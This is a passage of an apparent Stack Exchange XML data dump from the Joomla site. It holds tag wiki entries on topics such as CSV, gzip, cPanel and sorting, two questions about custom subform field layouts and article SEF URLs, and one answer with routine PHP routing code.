column.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Tabular format&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-------+-------------+----------+----------------------+&#xA;| Time  | Temperature | Humidity | Description          |&#xA;+-------|-------------|----------|----------------------+&#xA;| 08:00 |     70      |    35    | Sunny and Clear      |&#xA;| 11:45 |     94      |    90    | Hazy, Hot, and Humid |&#xA;| 14:30 |     18      |          | Freezing             |&#xA;+-------+-------------+----------+----------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;CSV format&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Time,Temperature,Humidity,Description&#xA;08:00,70,35,&quot;Sunny and Clear&quot;&#xA;11:45,94,90,&quot;Hazy, Hot, and Humid&quot;&#xA;14:30,18,,Freezing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, the first row of CSV data serves as the &quot;header&quot; which describes the corresponding data below it. Each successive line of the CSV file would then neatly fit into the same field as the first line. There is no inherent way to describe within a CSV file whether the first row is a header row or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that empty fields (fields with no available data, such as the third field in the last line) are place-held with commas so that the fields that follow may be correctly placed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions tagged &lt;a href=&quot;/questions/tagged/csv&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;csv&amp;#39;&quot; rel=&quot;tag&quot;&gt;csv&lt;/a&gt; are expected to relate to programming in some way, for example, parsing/importing CSV files or creating them programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/1382604/190829&quot;&gt;What to set as mimetype for csv files to open in spreadsheet applications&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc4180&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 4180&lt;/a&gt; (describes official CSV format)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://csvlint.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSV file checker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T10:56:03.423" LastActivityDate="2019-05-16T10:56:03.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24636" PostTypeId="4" CreationDate="2019-05-16T10:39:38.803" Score="0" Body="Comma-Separated Values or Character-Separated Values (CSV) is a standard &quot;flat file database&quot; format for storing tabular data in plain text, consisting of an optional header row that lists the table fields delimited by commas or tabs or other delimiter character, followed by one or more rows (newline separated) representing the table records as delimited lists of the values. Newlines and separator characters can appear within (quoted) fields." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T10:56:00.010" LastActivityDate="2019-05-16T10:56:00.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24637" PostTypeId="1" AcceptedAnswerId="24686" CreationDate="2019-05-16T11:04:20.733" Score="1" ViewCount="564" Body="&lt;p&gt;I've created an extended subform field type called &lt;code&gt;families.php&lt;/code&gt;, basically I want to have my own custom layout for this custom field, it makes sense I don't want to mess up everything just for this case.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.form.formfield');&#xA;require_once JPATH_LIBRARIES . '/joomla/form/fields/subform.php';&#xA;&#xA;class JFormFieldFamilies extends JFormFieldSubForm {&#xA;&#xA;    /**&#xA;     * Field specs&#xA;     */&#xA;    protected $type = 'Families';&#xA;    protected $formsource;&#xA;    protected $layout = 'joomla.form.field.families'; // THIS IS IMPORTANT PART, see below&#xA;    protected $groupByFieldset = false;&#xA;&#xA;    /**&#xA;     * Cached large array of the families.&#xA;     */&#xA;    public static $families = array();&#xA;&#xA;    /**&#xA;     * Method to attach a JForm object to the field.&#xA;     */&#xA;    public function setup(SimpleXMLElement $element, $value, $group = null)&#xA;    {&#xA;        if (!parent::setup($element, $value, $group))&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Get the field families/options, a cache of ::getFamilies();&#xA;        if ( empty(static::$families) ) {&#xA;            $cache = JFactory::getCache();&#xA;            static::$families = $cache-&amp;gt;call( array( 'JFormFieldFamilies', 'getFamilies' ) );&#xA;        }&#xA;&#xA;        foreach (array('formsource', 'layout', 'groupByFieldset') as $attributeName)&#xA;        {&#xA;            $this-&amp;gt;__set($attributeName, $element[$attributeName]);&#xA;        }&#xA;&#xA;        if ($this-&amp;gt;value &amp;amp;&amp;amp; is_string($this-&amp;gt;value))&#xA;        {&#xA;            // Guess here is the JSON string from 'default' attribute&#xA;            $this-&amp;gt;value = json_decode($this-&amp;gt;value, true);&#xA;        }&#xA;&#xA;        if ( !$this-&amp;gt;formsource &amp;amp;&amp;amp; is_array($this-&amp;gt;value) )&#xA;        {&#xA;            // Set the formsource the content of the static::$families&#xA;            $this-&amp;gt;formsource = '&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;field name=&quot;family&quot; type=&quot;list&quot; label=&quot;Family&quot; default=&quot;&quot; value=&quot;Johnsons&quot;&amp;gt;&#xA;    '. // a list of static::$families .'&#xA;  &amp;lt;/field&amp;gt;&#xA;  &amp;lt;field name=&quot;girls&quot; type=&quot;list&quot; multiple=&quot;true&quot; label=&quot;Girls&quot; default=&quot;400&quot;&amp;gt;&#xA;    '. // a list of static::$families[$family][$girls] .'&#xA;  &amp;lt;/field&amp;gt;&#xA;  &amp;lt;field name=&quot;boys&quot; type=&quot;list&quot; multiple=&quot;true&quot; label=&quot;Boys&quot; default=&quot;Robert&quot;&amp;gt;&#xA;    '. // a list of static::$families[$family][$boys] .'&#xA;  &amp;lt;/field&amp;gt;&#xA;&amp;lt;/form&amp;gt;';&#xA;    }&#xA;&#xA;    // these function are unchanged, perhaps I can remove from this file&#xA;    protected function __get() {}&#xA;    protected function getInput() {}&#xA;    protected function getName($fieldName) {}&#xA;    // this one is probably most important for me, changed&#xA;    public function __set($name, $value)&#xA;    {&#xA;        switch ($name)&#xA;        {&#xA;            case 'formsource':&#xA;                $this-&amp;gt;formsource = (string) $value;&#xA;                break;&#xA;&#xA;            case 'groupByFieldset':&#xA;                if ($value !== null)&#xA;                {&#xA;                    $value = (string) $value;&#xA;                    $this-&amp;gt;groupByFieldset = !($value === 'false' || $value === 'off' || $value === '0');&#xA;                }&#xA;                break;&#xA;&#xA;            case 'layout':&#xA;                $this-&amp;gt;layout = (string) $value;&#xA;&#xA;                // Make sure the layout is not empty.&#xA;                if (!$this-&amp;gt;layout)&#xA;                {&#xA;                    // HERE'S THE TRICKY PART&#xA;                    // $this-&amp;gt;layout = 'templates.MYTEMPLATE.html.layouts.joomla.form.field.families';&#xA;                    $this-&amp;gt;layout = 'joomla.form.field.families';&#xA;                }&#xA;&#xA;                break;&#xA;&#xA;            default:&#xA;                parent::__set($name, $value);&#xA;        }&#xA;    }&#xA;&#xA;    // a full array of families&#xA;    static function getFamilies() {}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my &lt;code&gt;templates/MYTEMPLATE/html/layouts/joomla/form/field&lt;/code&gt; folder I have &lt;code&gt;families.php&lt;/code&gt;, basically a copy of the &lt;code&gt;subform/repeatable-table.php&lt;/code&gt;. So far, if I use &lt;code&gt;joomla.form.field.subform.repeatable-table&lt;/code&gt; it's working fine, however, my layout file isn't working and I don't know how to handle this, it's beyond me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I see an empty &lt;code&gt;&amp;lt;div class=&quot;controls&quot;&amp;gt;&lt;/code&gt; inside my form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any inputs/suggestions.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2019-05-16T12:53:34.017" LastActivityDate="2019-05-18T11:07:37.100" Title="Extended subform field use own layout from template/html folder" Tags="|joomla-3.x|custom-field|form-fields-types|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24638" PostTypeId="1" CreationDate="2019-05-16T11:06:27.027" Score="0" ViewCount="196" Body="&lt;p&gt;Is there any way to get from the article it's SEF URL?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $id = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;   $article = JTable::getInstance(&quot;content&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;searching something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $article-&amp;gt;somethingLikeCanonicalSEFURL; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="3956" LastEditDate="2019-05-16T16:46:42.637" LastActivityDate="2019-10-13T18:02:15.310" Title="How to get the canonical SEF URL of an article in PHP?" Tags="|articles|joomla-api|sef|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24639" PostTypeId="5" CreationDate="2019-05-16T11:07:51.817" Score="0" Body="&lt;p&gt;A &quot;popup&quot; is generally a client-side (e.g. Javascript) produced User Interface element. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might exist within the current window/page, or it may be a completely new window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The popup may be an alert, a confirmation interface, an advertisement, and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some types of popups have become such a nuisance, that &lt;a href=&quot;https://www.techopedia.com/definition/1577/pop-up-blocker&quot; rel=&quot;nofollow noreferrer&quot;&gt;popup blockers&lt;/a&gt; have been a favorable tool for web users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://techterms.com/definition/popup&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://techterms.com/definition/popup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.webopedia.com/TERM/P/pop_up_window.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.webopedia.com/TERM/P/pop_up_window.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Pop-up_ad#%22Pop-ups%22&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Pop-up_ad#%22Pop-ups%22&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:47:14.697" LastActivityDate="2019-05-16T16:47:14.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24640" PostTypeId="4" CreationDate="2019-05-16T11:07:51.817" Score="0" Body="In general, popup refers to any UI element that floats above a window or application surface. This may include tooltips, context menus, and modal dialog windows." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:46:33.383" LastActivityDate="2019-05-16T16:46:33.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24641" PostTypeId="5" CreationDate="2019-05-16T11:15:43.327" Score="0" Body="&lt;p&gt;A Command Line Interface (CLI) is an interface to a program based on a series of typed text lines, called commands, which follow a specific language structure. The command lines are then interpreted by a Command Language Interpreter (more commonly known as a Shell).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CLI was a popular interface since the 1960's, and even with development of more modern UI experiences such as GUI, it is still a ubiquitous interface today. Depending on the specific command language, the CLI could provide a quicker and more accurate way to perform commands compared to alternatives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful Resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Command-line_interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Command-line_interface&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.techopedia.com/definition/3337/command-line-interface-cli&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techopedia.com/definition/3337/command-line-interface-cli&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:46:56.130" LastActivityDate="2019-05-16T16:46:56.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24642" PostTypeId="4" CreationDate="2019-05-16T11:15:43.327" Score="0" Body="An acronym for &quot;Command Line Interface&quot;. The interface to a program that consists entirely of text, as opposed to (although not necessarily mutually exclusive to) a GUI, or Graphical User Interface." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:49:30.790" LastActivityDate="2019-05-16T16:49:30.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24643" PostTypeId="5" CreationDate="2019-05-16T11:31:04.233" Score="0" Body="&lt;p&gt;A &quot;readmore&quot; element is a user interface which enables a relatively long portion of text/content to be truncated or collapsed to save space on a page until a user activates the element which displays more or all of the previously hidden content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Splitting_an_Article_into_an_introduction_with_a_link_to_read_more&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Splitting_an_Article_into_an_introduction_with_a_link_to_read_more&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Restricting_access_to_%22read_more%22&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Restricting_access_to_%22read_more%22&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/documentation/editor/readmore-and-pagebreak&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlacontenteditor.net/support/documentation/editor/readmore-and-pagebreak&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.inmotionhosting.com/support/edu/joomla-3/joomla-blog/read-more&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.inmotionhosting.com/support/edu/joomla-3/joomla-blog/read-more&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cloudaccess.net/joomla-knowledgebase/96-joomla-3-1/article-manager/507-inserting-the-read-more-button-joomla-3-0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cloudaccess.net/joomla-knowledgebase/96-joomla-3-1/article-manager/507-inserting-the-read-more-button-joomla-3-0.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.w3schools.com/howto/howto_js_read_more.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.w3schools.com/howto/howto_js_read_more.asp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:49:22.383" LastActivityDate="2019-05-16T16:49:22.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24644" PostTypeId="4" CreationDate="2019-05-16T11:31:04.233" Score="0" Body="The readmore button is a control offered to Joomla! articles so that users will only see the leading portion of text, but may activate the button display the full article text if/when desired." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:47:11.180" LastActivityDate="2019-05-16T16:47:11.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24645" PostTypeId="5" CreationDate="2019-05-16T11:40:31.950" Score="0" Body="&lt;p&gt;&lt;strong&gt;gzip&lt;/strong&gt; is the name for the compressed data format used by the eponymous &lt;strong&gt;GZip&lt;/strong&gt; application for compressing and decompressing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format is based on the &lt;em&gt;deflate&lt;/em&gt; compressed data format, with the addition of a file metadata header and a CRC32 checksum. It is defined in &lt;a href=&quot;http://tools.ietf.org/html/rfc1952&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 1952&lt;/a&gt;. It is commonly used to compress HTTP requests and responses, and also often combined with the &lt;em&gt;tar&lt;/em&gt; format for archival.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most known standalone command-line implementation is &lt;a href=&quot;http://www.gzip.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNU zip&lt;/a&gt;. The format is also implemented by the &lt;a href=&quot;http://www.zlib.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;zlib&lt;/a&gt; library, and in this form used in many applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Gzip&quot; rel=&quot;nofollow noreferrer&quot;&gt;GZip on Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:49:33.503" LastActivityDate="2019-05-16T16:49:33.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24646" PostTypeId="4" CreationDate="2019-05-16T11:40:31.950" Score="0" Body="GZip or gzip is the name for a compressed data format and any of several software applications implementing this format. It is commonly used to compress HTTP requests and responses, and combined with the tar format for archival." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:46:50.590" LastActivityDate="2019-05-16T16:46:50.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24647" PostTypeId="5" CreationDate="2019-05-16T11:42:45.827" Score="0" Body="&lt;p&gt;In the process of authoring computer software, its standards, or documentation, deprecation is a status applied to software features to indicate that they should be avoided, typically because they have been superseded. Although deprecated features remain in the software, their use may raise warning messages recommending alternative practices, and deprecation may indicate that the feature will be removed in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features are deprecated — rather than immediately removed—in order to provide backward compatibility and give programmers who have used the feature time to bring their code into compliance with the new standard.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:49:19.757" LastActivityDate="2019-05-16T16:49:19.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24648" PostTypeId="4" CreationDate="2019-05-16T11:42:45.827" Score="0" Body="Deprecation is a status applied to software features or language terms to indicate that they should be avoided, typically because they have been superseded." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:46:36.067" LastActivityDate="2019-05-16T16:46:36.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24649" PostTypeId="5" CreationDate="2019-05-16T11:44:22.777" Score="0" Body="&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;web browser&lt;/a&gt; or Internet browser is a software application for retrieving, presenting, and traversing information resources on the World Wide Web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some popular browsers are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://google.com/chrome&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Chrome&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mozilla.org/en-US/firefox/new&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mozilla Firefox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://windows.microsoft.com/en-us/internet-explorer/download-ie&quot; rel=&quot;nofollow noreferrer&quot;&gt;Internet Explorer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://apple.com/safari&quot; rel=&quot;nofollow noreferrer&quot;&gt;Safari&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://microsoft.com/en-us/windows/microsoft-edge&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Edge&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opera.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Opera&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:46:30.597" LastActivityDate="2019-05-16T16:46:30.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24650" PostTypeId="4" CreationDate="2019-05-16T11:44:22.777" Score="0" Body="A web browser or Internet browser is a software application for retrieving, presenting, and traversing information resources on the World Wide Web." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:56:43.430" LastActivityDate="2019-05-16T16:56:43.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24651" PostTypeId="2" ParentId="24638" CreationDate="2019-05-16T11:45:15.393" Score="1" Body="&lt;p&gt;To get SEF URL, pass non-SEF URL through &lt;code&gt;JRoute::_()&lt;/code&gt;. To get non-SEF URL, you can use &lt;code&gt;ContentHelperRoute::getArticleRoute()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load route helper class.&#xA;JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');&#xA;&#xA;// Build non-SEF URL.&#xA;$nonSefLink = ContentHelperRoute::getArticleRoute($article-&amp;gt;id . ':' . $article-&amp;gt;alias, $article-&amp;gt;catid, $article-&amp;gt;language);&#xA;&#xA;// Build SEF URL.&#xA;$sefLink = JRoute::_($nonSefLink);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-16T11:45:15.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24652" PostTypeId="5" CreationDate="2019-05-16T11:49:06.157" Score="0" Body="&lt;p&gt;Sorting is the process of applying some order to a collection of items. There are various algorithms for doing this, including &quot;mergesort&quot;, &quot;quicksort&quot;, and &quot;heapsort&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://en.wikipedia.org/wiki/Sorting_algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sorting Algorithms Wikipedia entry&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer-science a sorting-algorithm is an &lt;em&gt;algorithm&lt;/em&gt; that puts&#xA;  elements of a list in a certain order. The most-used orders are&#xA;  numerical order and lexicographical order. Efficient sorting is&#xA;  important for optimizing the use of other algorithms (such as search&#xA;  and merge algorithms) that require sorted lists to work correctly; it&#xA;  is also often useful for canonicalizing data and for producing&#xA;  human-readable output. More formally, the output must satisfy two&#xA;  conditions:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;The output is in non-decreasing order (each element is no smaller than the previous element according to the desired total order);&lt;/li&gt;&#xA;  &lt;li&gt;The output is a permutation (reordering) of the input.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related terminology:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;alphabetical sort&lt;/li&gt;&#xA;&lt;li&gt;bubble sort&lt;/li&gt;&#xA;&lt;li&gt;bucket sort&lt;/li&gt;&#xA;&lt;li&gt;heapsort&lt;/li&gt;&#xA;&lt;li&gt;insertion sort&lt;/li&gt;&#xA;&lt;li&gt;mergesort&lt;/li&gt;&#xA;&lt;li&gt;natural sort&lt;/li&gt;&#xA;&lt;li&gt;quicksort&lt;/li&gt;&#xA;&lt;li&gt;radix sort&lt;/li&gt;&#xA;&lt;li&gt;selection sort&lt;/li&gt;&#xA;&lt;li&gt;shellsort&lt;/li&gt;&#xA;&lt;li&gt;stable sort&lt;/li&gt;&#xA;&lt;li&gt;topological sort&lt;/li&gt;&#xA;&lt;li&gt;counting sort&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Quantum_sort&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quantum-sort&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:47:02.923" LastActivityDate="2019-05-16T16:47:02.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24653" PostTypeId="4" CreationDate="2019-05-16T11:49:06.157" Score="0" Body="Sorting is the process of applying some order to a collection of items." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:46:45.337" LastActivityDate="2019-05-16T16:46:45.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24654" PostTypeId="5" CreationDate="2019-05-16T11:51:39.543" Score="0" Body="&lt;p&gt;cPanel utilizes a 3 tier structure that provides functionality for administrators, resellers, and end-user website owners to control the various aspects of website and server administration through a standard web browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cPanel is written in Perl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the GUI, cPanel also has command line and API-based access that allows third party software vendors, web hosting organizations, and developers to automate standard system administration processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cPanel is designed to function either as a dedicated server or virtual private server. The latest cPanel version supports installation on CentOS, Red Hat Enterprise Linux (RHEL), and CloudLinux OS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Application-based support includes Apache, PHP, MySQL, PostgreSQL, Perl, and BIND (DNS). Email based support includes POP3, IMAP, and SMTP services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, cPanel cannot be easily removed. cPanel's FAQ states that the best way to uninstall cPanel is by reformatting the server. However, uninstall guides are available online for expert server administrators who do not wish to reformat their server. Similarly, it should only be installed on a freshly installed operating system with minimal prior configuration.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;References:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cpanel.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cPanel official site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/CPanel&quot; rel=&quot;nofollow noreferrer&quot;&gt;cPanel on Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:47:17.490" LastActivityDate="2019-05-16T16:47:17.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24655" PostTypeId="4" CreationDate="2019-05-16T11:51:39.543" Score="0" Body="cPanel is a Linux based web hosting control panel that provides a graphical interface and automation tools designed to simplify the process of hosting a web site. cPanel utilizes a 3 tier structure that provides functionality for administrators, re-sellers, and end-user website owners to control the various aspects of website and server administration through a standard web browser." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:47:23.230" LastActivityDate="2019-05-16T16:47:23.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24656" PostTypeId="5" CreationDate="2019-05-16T12:00:42.090" Score="0" Body="&lt;p&gt;Styling rules can be defined within the document or via an external stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/html401/present/styles.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.w3.org/TR/html401/present/styles.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Style_sheet_(web_development)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Style_sheet_(web_development)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.quackit.com/html/tutorial/html_styles.cfm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.quackit.com/html/tutorial/html_styles.cfm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cssnewbie.com/six-ways-to-use-css-with-html/#.XN1PTMgzaUk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cssnewbie.com/six-ways-to-use-css-with-html/#.XN1PTMgzaUk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T16:49:25.053" LastActivityDate="2019-05-16T16:49:25.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
